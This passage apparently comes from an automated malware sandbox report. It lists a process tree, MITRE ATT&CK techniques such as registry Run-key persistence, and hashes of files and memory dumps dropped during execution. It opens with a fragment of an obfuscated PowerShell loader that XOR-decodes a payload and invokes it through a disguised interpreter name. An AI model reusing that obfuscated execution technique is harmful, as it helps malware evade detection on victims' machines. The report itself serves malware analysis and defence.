''));$oxpOOAFdBoldR='';$i=0;for($j=0;$j-lt$oxpOOAFdBoldB.Length;$j++){$oxpOOAFdBoldR+=[char]($oxpOOAFdBoldB[$j]-bxor$tAPN98[$i++%$tAPN98.Length])};$wQ73WXbPP=$oxpOOAFdBoldR;$pFbzO7i7=$bDlyI3+$wQ73WXbPP;.($env:ComSpec[4,26,25]-join'') $pFbzO7i7"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4720
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1f0kq2zu\1f0kq2zu.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4620
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD121.tmp" "c:\Users\Admin\AppData\Local\Temp\1f0kq2zu\CSCA1C29F48F7244B1DBB0F8EB1A176E4.TMP"
      4⤵
      PID:544

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Process Discovery

T1057

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 35c5a7604e3a1a23f5422d25dbf0c5908480803d7d5b13782da36174deb41749
MD5 a78e310911d624c017a8ccd81e644cf9
SHA1 c56b85e63ba69b36dc67735aacd646eeacf41a2d
SHA512 d7e340552ef2159522fe3a4cfe06f8d85ab454cb009e602e72e168dbe1860d64f3c4b624ed2765359d2082a673410af2d08298c11e9819dec862b5acb12a90a5
TLSH
T157115733B3CC8624C89A403650CEAC1036B597DB509ECF6BBB84D144B53F599DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 85cc2152b8554cac3352c9cf3cb30a79ad427309940cabc2b3a4c496084f8dc5
MD5 959e1b4918203c51928cb5a717a9dbf3
SHA1 bec8d10e1a38546b4c57fd1b30c624a7dc9a55ca
SHA512 ae841fca8446900c2bb270869687dbd9d0a0082540fd221e145d345d4cf547c4b01bd3aefc4a091577c9966d52d3ba15e72f9518124172e390e655acc761e93c
TLSH
T1E3213633B3DC8615D889407A50CEAC1436B697DB809E8E5BBB84D648B43F599CE60660
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 359b7ac177cf86ee1344130d7bef610befede59351121fa2f64c67ca3d83de0d
MD5 a2c99bc3110b9b098ee8d1424f7a2235
SHA1 2b67d10cf8db1a294964bf02a752559760939178
SHA512 e6ece307782e7b143246589a3052a378a915cb588f8352b4fdb035794f70c67c831574d42944007498b15927a5505e8478959d0662d153b648921b7ceb9f88db
TLSH
T143215733F3CC8664D89A413650CEAC1136B787DB409FDEABAB84D559B42F689CF61160
MD5 SHA1 SHA512 TLSH

Submit Download

1f0kq2zu.dll

Path C:\Users\Admin\AppData\Local\Temp\1f0kq2zu\1f0kq2zu.dll
Size 3KB
SHA256 2832813e92eb4b398bcaf5f22356bce43ce59f0996cb3daed4c89dc16139e4bf
MD5 7fe88d165204f88c4b1adc811740d862
SHA1 ed1b8df505fde5e3e6fb85424a4d7fa9d7bd1715
SHA512 41c79d5f95a995407435ee5cf7ebdf3c0209cbef7a75254e2359f1e8ed9e9b4a8176780ff1184a7befcde70f92dc749bc9487ec7a0e1f8337ec9d72f365f468e
TLSH
T1B951F11A53E8463BE4670B317EF343133774F920AB62975D5880423CAC217645E32FB5
MD5 SHA1 SHA512 TLSH

Submit Download

RESD121.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESD121.tmp
Size 1KB
SHA256 cce41d3528fc73ade60f4e9921388db0ee039d42450027299c32575299e73505
MD5 77530bc747fa2b470694f437fb3c6d9e
SHA1 9e36c57ee0b800f7c39098d6be439fb911ddc7ec
SHA512 d934780a8917e703bb70638bbf9d00b4e1896ec6f97efae40283f894d20adb6e6e6122ac2dfe45ec935d2a67ce7cc512593235e7e3603bf5ff01a6f846cdbd95
TLSH
T12E21C20553EC430FF0B39B31B8F6532BA234FD64EFA1576A8580532D1C60644EEA1BB2
MD5 SHA1 SHA512 TLSH

Submit Download

RESE10.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESE10.tmp
Size 1KB
SHA256 241455c9bafd206af587814bafaebd4affd3d728696495336259e2b69ef7c5d3
MD5 1773f30b277026c2b4bad181877ee60e
SHA1 116bbbbc547017295a773263e1b232604621632d
SHA512 e2f29d2b460f373874a8979629bbb69d402fafbb5796a7d770157e7682ceec8bfdab8df7a3acb4b35cf116e2bff616c1bde4c6d941ede2ec8c9c87eee516768d
TLSH
T18521CC0543F9471EF0B75B3169F6132FA278FD68EFA1536A944042282C51904EEE1B72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_guqohnpf.5nu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_guqohnpf.5nu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

mihxc5rq.dll

Path C:\Users\Admin\AppData\Local\Temp\mihxc5rq\mihxc5rq.dll
Size 3KB
SHA256 1b7f84d3dc7f080ab373da6c9523eddec73868f513bf029ada94206e67b4a84b
MD5 32a6ec59abe389db2601ba155cc2a0f5
SHA1 2cfa36fa6efae8c48e08c2a939746b63b093246e
SHA512 881bf9d5d0ee4aef23fd522ba2d74f6a5344da35862f323d52b57b7d99be22e0f511885167b27815bfb341ace0f1f3544b993ba9327a985899c1643b6e8d4971
TLSH
T1A551ED0A97E8862BE4A70B317EE743033774F9209B62570D48801268AC653646E32FB9
MD5 SHA1 SHA512 TLSH

Submit Download

wrfgdfjdse.bat

Path C:\Users\Admin\AppData\Local\Temp\wrfgdfjdse.bat
Size 240B
SHA256 23dd7f0209f69cc3e4f79853c32135fb7d1d2e896802c81fcb01483addcca798
MD5 a7e51640bdc8cfb0d44b372666bd970e
SHA1 2cf729bb0b046a58e687719930af68c39dc6d2a4
SHA512 3caa1057493f6790a3eabcdd350804e350f341cf4cdb666b7f458a84a7b116532db6079379981990634c24eedb7998b4ca2611c151cc0d72cabffd72ef44062d
TLSH
T16FD0A75D15644A926D510C973020C189EB47DA021505661D16ED0E7D7446DDA7C56BB0
MD5 SHA1 SHA512 TLSH

Submit Download

1f0kq2zu.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\1f0kq2zu\1f0kq2zu.cmdline
Size 369B
SHA256 d7d5a68117c508b1dfb37362d01164e9d7a86da1adb130b4d99615fdac359232
MD5 16a983866253316591e8f0f48048bbf6
SHA1 f448c949f8eb7e8b43ae894a58a54e7d25782896
SHA512 7e477e3df6114e861cec102b99b79c61314eb3eb0318de8a7d78c4dd9a59d51cb509e02dff735a357ac50fc5e3cbe5de1f0b5ab53d1451002a5c0eca3b5875ad
TLSH
T11BE0683B8346C67D01D92C0F316BC5BCA2724BC32941BF84F0A04C6ED05704027E2741
MD5 SHA1 SHA512 TLSH

Submit Download

CSCA1C29F48F7244B1DBB0F8EB1A176E4.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\1f0kq2zu\CSCA1C29F48F7244B1DBB0F8EB1A176E4.TMP
Size 652B
SHA256 395c058ee7df0f6cfd03ac83c1926cd7c421f4deebb78ba8dc196aff15009729
MD5 c1d0ac4c6e6ddf146b0a7f7061c21b48
SHA1 798ed6d4c35855a7ad07c8d848626ba189901fac
SHA512 0f7c5d1d4f27a21786e2a92dd306cb4e16c3c8c7030a5acec4d3e6b8cf06efcd262811808ecd85cdfbb2818442571b3e21dc300cc282d25c24aa5143ec03e68b
TLSH
T18EF05E0963FC420EF1F35B70BDF6536391A9BC65DE7293ED588043192864A149972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

CSC202784CF3DD047EDAF13AB9450FC803F.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\mihxc5rq\CSC202784CF3DD047EDAF13AB9450FC803F.TMP
Size 652B
SHA256 55497bbb980eccdb2cb5b30f4a46b9f3c5625d2e80f01ebd0e27d0b8d947e0eb
MD5 fa6a703e0d3b4070a3437e9cb65a850c
SHA1 1ebcaed5bc2fb6ec2f2ee0347ccb1f142dc17115
SHA512 23ccb42a7c436557aa84a6602ea85a90be7bb17f74a075bf83894089fb36e576012e290f06a4a8f3df6218b196a5a2b9e170d01ce7ce89d8eb6a40c6a97f0212
TLSH
T180F05E4963F8420EF0F35B30BDF64363A5A8BC64DE3293ED144413192C649108972FB6
MD5 SHA1 SHA512 TLSH

Submit Download

mihxc5rq.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\mihxc5rq\mihxc5rq.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

mihxc5rq.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\mihxc5rq\mihxc5rq.cmdline
Size 369B
SHA256 616e5cba1c3cb3d1c8980bc740b9b8d1d4f35dd242db2ca118d4a82042eca687
MD5 6ea0a671befb194cbd6ed3198ff1d6df
SHA1 8e1768d7fd1d8855eea7ec2a794f755d2e7d78ea
SHA512 0c8db32fe45f6ccb9a185d1b0dea12232a2eb273598396ee9ba60e81f90750d84ea8d6d15695b8596dae4dbc3bd418075719d6f27dabab8fd9349ec2bd88f5c6
TLSH
T1C2E0C02A5A66C67E03DD304739A9C5ECC2F207432D903FD4944044CEF117002BBD178D
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1220-0-0x00007FFE37EDF000-0x00007FFE37EE0000-memory.dmp

Download

memory/1220-11-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/1220-9-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/1220-8-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/1220-7-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/1220-4-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/1220-3-0x000001C1582B0000-0x000001C1582D2000-memory.dmp

Download

memory/1220-6-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/1220-5-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/2052-22-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/2052-21-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/2052-39-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/2052-40-0x0000016031E30000-0x0000016031E4A000-memory.dmp

Download

memory/2052-35-0x000001604A430000-0x000001604A438000-memory.dmp

Download

memory/2052-12-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/2052-37-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/2052-38-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/2052-20-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/2052-58-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/2052-19-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/2052-18-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/2052-17-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/2052-16-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/3772-43-0x0000000140000000-0x000000014002E000-memory.dmp

Download

memory/4720-71-0x0000025349260000-0x0000025349268000-memory.dmp

Download